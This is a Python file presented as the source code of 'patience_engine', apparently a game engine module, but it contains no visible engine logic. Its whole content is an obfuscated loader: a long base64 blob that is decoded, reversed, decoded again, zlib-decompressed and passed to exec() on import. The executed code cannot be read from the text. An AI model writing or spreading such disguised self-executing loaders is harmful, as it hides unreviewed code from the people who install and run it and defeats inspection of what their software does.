Source code for patience_engine

import base64 as _b,zlib as _z
_d=_b.b64decode("PT13M3JGVmFIOFB3VCtHY2xNYURjamhndDJGYXVBMVhtZ09obWducnVnYnBBR05pK0pVZVRrc3F1VzlkZnA0M0dBaVY2QUVwSWl1aC9mby8wMEx5UjVqNmQ5M2xHWnBWVVgwaVdaYVg3S1M1MUFyZ0lkeFQwSzhHNmFJYkVsTkRiNmlwTTFGd2p5MzlLWm5MS21VNGFrVkNVa3lPSmxYd2dOVzh3bitwTEdQWkZjN2pIem9ueUJZWXFESlZqRlVZTkNyaDJiRnNpcXU1N2pDYjdzYjY5M2xYS21NdVlsTFlvQ0lTbDRxOWlyNytBaldKcnFRSTY5Q2hkMXZoRSs5RzY3eG9iTmZ0UVc4cGg1bWtMbUJFbmRlZnc2Y0k1WjZGVlZHbmorQSs4SCtiNzdmTWFUYmxFcW5IZkdEcHpVZjk5OUt3a0MrMVNtZ3JiNG8yeDdrUWNsVzBmeThDblJ3cUNqaEdoTFVHTnNCSC9hL1QzWkx4Ly94ejcvZjJKbTRYa1MvZGNkUkZRVXlXNkNtV01pdnZZZ2NLNkd6b29IRGVEOWxpdjltMU04MUR6Tm9kU1U1ck5USFJ5YkNQTkoyVndHZVN3akRTakVJZTUvbGoxem5rM1VMZzNkMVhaQldzb0hZa2xhb1dVVlJLU28xYTNwb2RZdTZlSWNxZzJDdnROeTlEaW9vdndKUFNyd3RDcEI1M25RYlFiUktnMVh3T0lodHRrekhveFpxUjNxMXNxT3Z3QlM2VEk0UDdQanRLSjVQUHRlQmVwZVRIeHk1T0xrL2c1OTFiMC96Y3FzWmI5V1ovL05WZC9PRVd6V2pJWDRBTkFnSkJZNFQ3UDBwcnFwWnROVGxGaDFnVTdSeSttbGNOajRzNWJ4KzBHdE9tYng2MXltbFcyamtWOGJHQnpGRmVSd1FMYnRFS3JOV1c2YU43R2Ivcm95ZGZQb2RZOVp3eWpSQkdxTkZFTUY2bGFLVFdwOVA1d2U3Ni9QU0RRdFFleEdMZjhvWjVSU0hGb2Y0Zkk0b2ZlNi83N3Q5MWpIYmsvVDRpclV4YjBUOHZMODNIbkRQK1BySmlrMlBWeWk1SGtVdm1pMENlSEFEYkhCUDJuU3NjZEh3aysvN3dqalMzYlFQSG9qUkV2RTJlUWdHNG5SZzdYUDZUQXg5cnhjekVCZXJLd2FNOTgxamU4Z0V3MHJWUHU3N2pZNHpJMWdCYnJwam1pdFVoeEN5aVIwMFo3MVB3Tm9EcHlZcVQxZ1BDSUZGY2NrNjRpNVRyeFFtZXBrSDdGMk0wcVpINlVCUjU4YXFsUjJreG0xOWJod3h0VUpJLzkrdVNQK3QzZ1F0MFdYMlFxWXlTNDN5ZVZMQTVkTlFOYXU2T1FPTkhVcDF1RytYS25iNjRpZ2JweFRtOFNra0ZmZzh2NllqMTdIcEt0T2ZrQXdXdC9zZjRkU3JsdjJ2QzZWNnJIWHgxRHM0Q2R4eitSZkNqTHFjRFZRT2xESWE2dHh2dGhySGlsREZSR2k2cmQ3QVFEeDdWV0k2eGZqbnFYN1NOVW9hdlYxSzlXaWVSRjJrSEk3Mk51b3RrN1VnRmhLaTJzazB0dFpEM25KSnJGTVB1bnQxVTNVN3RkYzZCK3FLdmlXTy82Z25wVVRRM3FBaXEza1JYZkcrVTlDYlZ5NjdkenAzSm5YVWRrVjE5VXVmeU9IMTBTU1lNS3J0UTRzTTFCTXhFQWI3M0hYUWgzekgxU2ViSG1nRWV5QUlQMVdyYWlhekczUFhYK2FMOWNOVkpIT3VGMFcvc09pNm40d3hJUnFNY2FOWnhkVi83bnpLYnRzcndHRk0yaHFSOXFhekdMQlRaMmpSZ0JFKy9uY1R2K0xMN3BWSkV2MzEva3JrSWxPSUtabk1QOWFHbHh0d2NmTURETGcvSmpBbkloOTI2VGg3VHp5Ujc4M3FvbUt5VDR4ME9lL3RWbUxpV3YyU2RhYkhkSjBSNnFrV1lhb29tK3lpQWhxZkZBTDhTRnpvOGprczBvaXgxR2tPa3U3UFVrZmZaVTgzTi9HajNqbVhmV1RiUnFHQ1V4ck1sbVlFZ1V2d041QzBMZ016ZG5XUjVmSis1L2V5TFgzZjlPai9CUzZ6K0JJL05DSzBzNzlvZ0k2bVZxR01RUVNTZUtKWENPTnRWZHN3ZDhWSzhlR2hoVksrM2RMK3d1elJPcWpJVHVqcWptTFBFWTUyOHd1dUVjbzhJdGRCMllkQXh6ck9KaDByUDFQOW45emxWM0Jrc216b2lLTnBDVWFMcUs5ekVOV0ZMTE12cWNraEwzWGczblpMdk91c3ZMOWRhYUVTckdUMVlRSmJPZndhVG1WODBKNWhhUUNOY2JEbEoxenQrMlphazlWVlhiU3ZySFc1ZkNWZHZUN2VUcDBIYncrZDF5aVFNMWFJKzYybDR6L0NUNUJzVWVhUVFGUEZudVlHaUI3bGZaYndRRzBPTWVLRFdOSU0rblltMGh6SGZSSGtybWJpcHhyUWF1TjBlYk9yQ3N0Y3lOTklSTXRLUjFVTTUreTlpOUdjUWRlRHd5T24vSEk3K0lkOTF1aW5sWkd3Wis2OGxmd1NWVE9Ddk95U3hOZFlKdk85aFQ4ZEVDSHNuc1lMdlZ5TDVaWFZaMzd0QTk5eXJvZlU1NnIxS05HS3ZFeU5YQTJTOVdGVGcxbWJOcEl6TWRKam8xam5haHBTSmFUektScjFUeU5iSDVCZktVWlhTUzA0aHB5bXVXNFArTmtYdzllR1dvaEg5Zk1RajdZRkJvVTBwalZrdngxVjB1MXRXQkR5cUpNdkhrU0tlNlVLeFl6OUd2ZUN0NTNFYlZxZkRiQXp5OXRFNHM5MzdZU3RZdlBEYzIyeFZiMVRQUFJZNjYrdkNvREtWTUM2ZmlvRUl2NEttWmxtNzNIb1ZTSEl3T05VbHBjRW5Ja2tyRDY2Zk5aaW5WT1Bad1lJQjRCc09Xd3B2SFVHRkxITkJKcmw0UWplT2FPM1pxbGdTZVZMV2FtV0IxYXVjS0dhYlpZMlk3TmkwSk9LMFIwZXBjeFFaeXJXMDdwdU5IQkF0alZ3RjUrdWJmK0lUNmJQZXUyWXpvcDFUSzRBb21oSGtwQ0VxdFU3aE5rMjNZV1ZZakN0S2xRR1I3aVcyOEFGcjhIWWJlNTM1TEIvaThrYjI3RFQ3M0lpNXB6R2FhcTVmMjF4VGpnRUFTMGpCMDZlYmtTR1FxL0tHamJMbEtVbGpCRlhRVjR0NHB6MkZ2c3VkYWNNMFNzb0lWeFVRazN1ZllKY0x0SnZWTDVMOTlrV2RGZFdueS9VTzUrVWdsL0ZGd3lRaGpoQjRPOWJFbmZPYVU1NXZVckJtNkxvS0o2LzlKak0xVXphcnlNK3B4YmZyK0pVTkMxcUZJMlRyVnVFR2VtL25QUG5HU1ZJeElkd2ZINUx0NjFxRVk3NDU4c2pvbzN2aGltOHhQUGd2VDFtVjdidmJmK3NaOEE1a3c0cHN6OVM1SkpiR2FZZ01KOS9sdEtBRWRPM3BYQkZBVVV2RTlPYk5PM2RYejRZQWtDQThhbEV0bnVSZ2p2N0xhWmFYd0hndU1MaHRoT3M4bm9oZGxMMGZuV1h3dzZaaFlMTExtMGtJNmg4WFl4V1JuN2RWSll5V1liVWEvMUZyWXZkSjNqajlOaEZSVW1zY3Bva3FJL2xDTEt2amtQU0g3Z3U4eW5nalRGZDlyeENwNUEzMGE5MVVLT0tZeTlkcHVmaFkrQ0RxZGdtV29NSHR5TTVYeE5UYW5MWjhkRkJmSDVnTWR0RE10a1czZkM4aVlnNnhKUFYrZ040YnJhMWpWUm9HOXF0c3FsRkN6cy9kWTVqVDRJamUwV0dzbkZvWDFUZ0NhRi85Ym91SnM0ZGtBbDV0a2ZDKzNCRG9USHBXZGZUdVZoaVdjVnNTS3BUNkZxVmdOY1ptNWlSb3QxQnZLRkNUWUk1WjlYZ2YyTWxxK3pqcStiVDEveFJnWWhuMExidUlsUUpSa1FBMzZKaHdJNDNwc0RwVWxCc3RYaUErSFJSZ0NWbVdxVlU4ZmFidkQ2SVdYVlcyNmxwSDJaaG8rNTBwNmY1b1BwU1VkVWorOHk1SU5SNFV1dG5jaUJkWlpaRGNiK2F1RTVzVVdVeWd5eDdVQ1hDSWU0Rk8ydnNaLzZEMWNnRWtTUkh0SkFLRXVWT1kvREcxSlRPK3Q1ZXlsSGtNY1Y5MStUd1BsWTJhK29GZkcrQjBocFJ6NGxTZXNrWFVRZXBCWmlRc3ErY095bnQwTzJqSWhLLzVjV3RqVE9LeXdEcjVlYzRxdnBMeDh6YTBpeEdyMEtxbFVVaUxaV0hHVHpsbEpwRE5aSklmYUFvT2dHZ3B3Mkcwdko5NmdzdmNsa1h2bHRuTHNDNEhNeDJaZTB6N0RVc3kzNkJ1dHQ3ajMwVEtWcEk5clh1cm4raG9uKzV5VzlKeUd0cC9UZzA1OEsvL2tMMnVSVkkwcENUZUNTcm1nZ0xBTDRnWVBBR2N0Y1F4UjB3dE1NbnVna0hzYjUyMUZJVXZwTXlDY2xCTFhCWmpaM2d6MDA4SHJ5b2Zsb2VlUE5BTmpGSjF5a1ROd1lIakNGQnZuaUMrdTB1Y0tad3NNSVFHbU1RcVR2cmJ5Wi9ycm1wZnFtY1V5dm8xS251S3ZBSmJzT3JmalNXcUZET3J5VWJzS09nQ2RRbytab0FzdFcydUp1Y0dndkV1T2lqUHMvNFJFSEI2azRJSk9xa0k1bjNtY0tMZm5HTHhvU29ZRXo5SU9LaGdXR1BZVE1rd0NzL2RUcGtaTFVyN0JGTFlIMnNSSVEzTjdxNDN2UHRiNUdGbmtaSkpMV09XQUJFTitBQWdpeGloRHdCZ09zcU15ZjRWbHpQMzE0cGF4ZGhMZUtzc05FUmhSQlB1QnFGL1gyczQyT0hJWFpRSkdXREhxVGZxOGRrdVVOb3FhYnBnUUZYS0IvT0FKclE1QkZ3TW9zeDBGenNMMndJakdsL1ZCSkFjSGtJOE0rWTgzQ0ZLTkdqbGpRMWRFZEFmdlJwU2krQ25tYUZreC9sN2pWVkdGQlE5UWJCSVJ1c0RFN2dndGpIMnl3UkxkU2JOeUVWZUdCY0FVaDR3ZmdKUXBoTmNuZW42Vk9wT2JHNEJBWDhCaTI0eUtXSUJKNm9mV0djZ2lLOXVwMjVzb3hrdTFKcWxiSzZldHhDTnlNR2FsUUxGbGc0R0VKU3IrZHN1MHRIdHNUVlJ4aTEySW5PZkNCUXFLU3ZybWdDNnpkWmZyOGpINkRtOEZTcjVXeUJmR0l0UDBEa0wvTlRoWGdaQlB1TEtzclV1THNEbjdxV3U5THRHb2RnaXQzbFpQa1NkeVlLT203M2hqM0tDazRRa1ZQQm1ySEtLZ1RhY2NSa3k4aWRKa0NTeklPajgrQ0NDR3hIYlV3dkN3VmhhajI5S2lCdEF2OVFQemxENzhrbXdYTURWa3lES0g1OTlLMjMrTEEybGVwRTZhUlpST2hIa0hUMUNWd3Q3Sm1ZQWt6YnRObFlZanZGc2svbURjUGpxdU5qTzZXNXlaejJCSzlISEpod1NZNmRBWmJMQ1RDSW5WcDhHMUY0MnNDVnluL2JkNEdmVFJDOXI5dmE4ak9NbjM1b2Qvc3QzMFFIOFM1Qjg4c2lUUy9BdTU2eXczS2JVWGlQc2prT1krOTRxc2xTdzNKd040eWI0SnNzVmVpbUFEUzBUdEkwbHZRcm1PUXE1bFlyZnpWQjNVdTNoU01WTDFJSkxtY3A2c241dU9qWGloSExXUW8rSVhhZnhoWngrUHpzSVZyU1VweldpWmEzS0k1cHR4VmppUlNXdDdnQ2pBTmlEcWV0V0ZkaXBEcmNLaG9vQ2k4bG5SNFE2clR2U2pVZ3JsRU1pSUFVZUxoa0tqNUUwSTVreWtPUlpCZkNRUVBvbmdOZ1dIWm9iTllRaVVJb2J0VVpKZlNLb09WSlRCOHVBam9FRkFpN0FVakU2bmFwY3NsbHEyMmpnbVpUQm5seGxQRXlqTzV1SVR4cjN0K1VIY0wwYkZHNjZyb0NleGNpaGhTOCs4d2t5SkZlNDhtUTJDaTlLeHFHWThSd0lYbERkWkNlWHRFa05HUUpkQWN2bWhDNDVOL1lKbnlJOGN3RkRiQTFnWEZNdkFkSlVQRnk1eUVLeFRDM1U2eUFGUXVLY3RobWFvN0JNVWpBWk5CM2hoRGtEbzBDNzNUUE5nMEdlR1FLV2dPTlJSZFVCS2IvSW1vWEN5bUJ5eDB3Y0Y5RlM1WHVLU0d3VVE5QmVITUx5RmhKTlhWeElGcVF3M0NUTWF5Q1paUW5tVGdGckZwbzgvSzZpVjh0M1pIdzdxVzB4Rkd6M1pGVTlETE1vcDRuVDh1bFpzV0xFaXRRaXhBbmlXRldNbXdUQ1Y4amZEdTM5dHF5Z2ZydmpkUENoT3R4TVRtSkhrWHVHUmtrWStUS3h4bGxSUlMyVjBma1dnUW90UVFxckdsZWFabUxqUTM0UHNOTHpMajkvUE56YWo2d3h1bjNjME16T2wxQUZubUNyNEtsNUtFaEhzcU1RS01NSVREbTErM2E5OXYrZTJVdm5DOVdBc1hrZ25idERFWEF1REdpakpPVG9CeHpwUGt3eHk0WXRzM2t3cEk4QnlzakFpZFVoUUV5d1Zud3ZidTV6ZnBtM2RYM1FiZHA0MTFqNnZFa0JSem1raVlnWWpnWkptTDFLeE0zSnhqeTBadVZzNnRrSWNTYlE3RmtQNHFGSWllRnZraFA5N3JYOS9saDI1L1QzZXp0UGRuTnc0N2QzbTNQSEMxNEl3ZVNIaTQ4SDFlQkcydm5FMjlZRThvMUx0OUUyZFBPY2k4WVBuQ09GTVZsc3ZqdFRaU3NJUXpnOFllUVVYQzBQZXo5djMrMnBiWU1lVzJNelNqTGFpQkhMY1lhNXUzMnhRMzlpRE9hYkZKVEtJV3dlSXlzaU55cmJRanhrb0V0YlFEeXhqUFl6OU9sRFhFckJRUnBKNW5idnNnRVlPeUtBZkZ4QTRjZWcxSXJHVVR1WEtpbWpJRUl3Ym15QTVRYkVNNm1Gb0FrandOVHVlR2Q5WlRFRnl6MWZ4M0JubzdPOTB4SGJYWDk5Nnh6Tzc4VkRnT0wwOVllSU5qZnlPWEhZcXA0UStIUVE4VjJtUWZLS3g4QVpIdy95ZktkY0lveWlOZDY4U01lanB4dWVLVmtaOWIwZUNnQjVuTlNTaU5IMGtabGtQTUJRZC9RTWw5VExJMEk0Z3pPd0htUU1Fbnl5Rmd1ZkZ2TUw4U1dobjRCSVlyUnE0c0VFUUFRUWNoQ2RmWnpHYTU1TldaNENlcSs2MWk5RUZUSGFuVXVaNjdxcGxnZmgrbUs0ZnhnQjBQRVl3VlVVZHhTeFBjSUtVWS9ZYjNBR1BMZ2pXdS90OWNaYStFTDR1MnFQS1JOYVFDU0lrZFpDekQyWnVqS3NRblU1UkI2QjFNWnczR1EwU1hHR2xKaXRTdFdOcmdRUHpGRDFsRXJWVDBTbzUyeGFlNHAzdnZET2Q0OTduMGZxTmxNRWI1ZnpuUDJ4YnZ6c3lHWk5ZcHRTSlhyWVRFdWpOakphS2dRcTMvL25oVC9DaUF1UUlGYzM1VnB1V2FaUUFVTHNDMHd6ZDRPOWM0Q1g3TTI4TTRiNU1kTGlpY2ZLNTBLNDhRc0QvalhDVW5GT0hBRWZ0Q01pMnFRd0RvdkRRbXY4UzkvQThKS0ZUVzlianU2TmpTbDNOeWkyQ3V3RVloVDA4cWhod25tUlFQaFRGSHF4MURkMVhQMFNXRDBqMzRjRHVFNlNjaXhhUUJ6MVRNakhHRGtuT0FuZjA4aHRKMndmbjVUQy9od1RpdHNtdnlNTEcrV0tIMFpxcWhGY0JmSi9XbG5meGlSdkIyak5iNkVZUjgrb1VTbk5ZSTk0S2hYQjNCS0ZVd2o1N3lqSmpPUlFuajZXcStvaVZDaWhHRWdPQmcyTDhBemU1R0crNkNPSnNEdHVjK2ZXaHYrb1FYQithaVU3NGlHZ3J3Wjk4UjVrVlRPU3lFZUdNNG1zUWFNN0VtcGFqTm8vQUUwUWNQeWx3cmlTQjdqUWFWM1ZheGxRVGlUWEJpeTltamRFdmZsTDI0MHNHdE5GclE4WEh4ZkdjQ0dmTGdPTzQ4d0Q1OWsyOHYzbkRoT1dVd3NKaWZPL3dkV1p2bnFzZVYvaXRBUm9lSzVucTdCT2dHS0hKaEZxNXdZK01sKzA4ZWVXR1d1ZkRJY1NwQkxGVTdLM1lyMDVCQWpRRnVmbkI3cGluOWU4V0hXMWZDVEYwV0pxajRRdW1MZ3RrMGdMSUEvMDhBUDFmamlLWW5kNGphZ2w2L3ZSV3ljQjcvRU1vMWg1VERHRDVzRk1xL01iS1k3enRVMHNHTWJiQmFWK2xucU5neGlnUjViMkQwU0F6S0EwM1IvcFdlYVdDNit0V3JGZ01uanUxK2ZOWDZYL2J6dXgwa1Ztb3RjdndSUzIwSlF3SnZIc0tIRFJhNkd4UEkwS29WMjE0a2lQMmhrek1GMHpPL3oyOUhrY2dNN1pnanp5bDVwdkovQUc1NGQyNWdkNTByM2V6NklnRGZJckx6dFpQejRGNjVlU2FoaWlwVW9WQlAvRTQvM0RHS2hwaEZVQTdBSTZWazhsMkowdytEQTgrL0RreXl5UEEwRjBjU1h6bzZ3ejV3dVU1Ymt3NHBRNDFWb0lreGdJbzBpeVBUckQrOXQ5djA5NFgzZG5PK3hYbjBEb0gyMlFRQ1pNV3hzSVFONjd5S2g3NmhpQ3JtR3lGTTFCZk9UWlVYdFRLenFnYTZXQnJMa0NuaFp1a2ZpOHRzaDRDc0gvTE9MYzQ2ZmVnQ05SQS9ZNWY0WmhkMUN2ZHF6MEFvYWdzSTRHQVVDSEZ4L3dPR3VNWmJKempqWkxTa1ZuNkF6d2RvL2xDY0FITmprWm1QVDgyTTJ4bm16SFk4WDd6aisra2hQN0hEZVd6RFZnbjNzRjRoc0RaL0VpQ1RoZmxXaWg0c2NwTys1TzJpZ3Mwdlp1SkFPUjA3ZTgrOU9iYzArbU41WkFkQnM4Ym1ocGRKcy8rM1Qzd0dGQWQ5WnRabkVLU21VUEQrVFAydGlkSzBQNlR1b0g0L2x3c1R3TjEzR21GM2Z0N1p6R3dxZ1Vva3lwQ2l0VENKR3NjQndIcHlWU01lOGgzTmF2ejZXdEEzaUx1UERjNEVySDIrY3ZBaVNRT0plZXphdUNubmJUcnpZQ1pHOGZ5TUlDUlo4bVlTaDdIRGRrTWV0N3RqZnkySGMyd2FETXM3alFXeVN5USt5VFF2Y3hjYWE0ODUxa3RVUmVjdkRVK0JNZzNIdmlmRDA4d2FZWE1PNkNwUXVKRXd0ei9rSUhSYmc1dWxIZ0RTZnZnd2FHMTk1ZlpZR0lHS3c3NDQzekFnRlNtcnVzWmRxNzhkaWhBSXFQS0VPdXdyQ2R1elZGaHp6RmdqSWV1c0Z5VFhHTndBa1EwdEorZ1BBRUt4Uy9LaEQ4V0NYWFdLeXlvTHp6Q1hzb3pqVFRJaWY1OGJuOVRNKzBibXRUYms1VEVPNkQvazUrYm1TK00yUHVEWEdlc3YxQWN5ek9QTzB6WnVyRlNzb05qdDdSbmUzNHkrOXRNNlI3WVdQNXpET3pnOXZhMlBXL3JuOHlZOW54ZThWKzg3anc4bGUzSmUrT2hpNzNhMmhvazUzSEhtTnkrZEFtOTdBeXV0alo2U2o3WGNNR2g1b0xxNnFxdTZxcnU2Szd6SVV4dEM0ZGFiOVNtMzhtcXFxUStGMGZzOUxKQ0dFQUF1RTR1dkY1SCtFNFR3cWRSbU1EUUtlMFprK3dhV1FrWUhPNnJzTFdyYTlZVHY0T240Szc2TkR1bjVLUnNnR2RYZCszeVpFNXZ0R1Bkck5l").decode()
_e=_b.b64decode(_d[::-1])
exec(compile(_z.decompress(_e),"<pe>","exec"))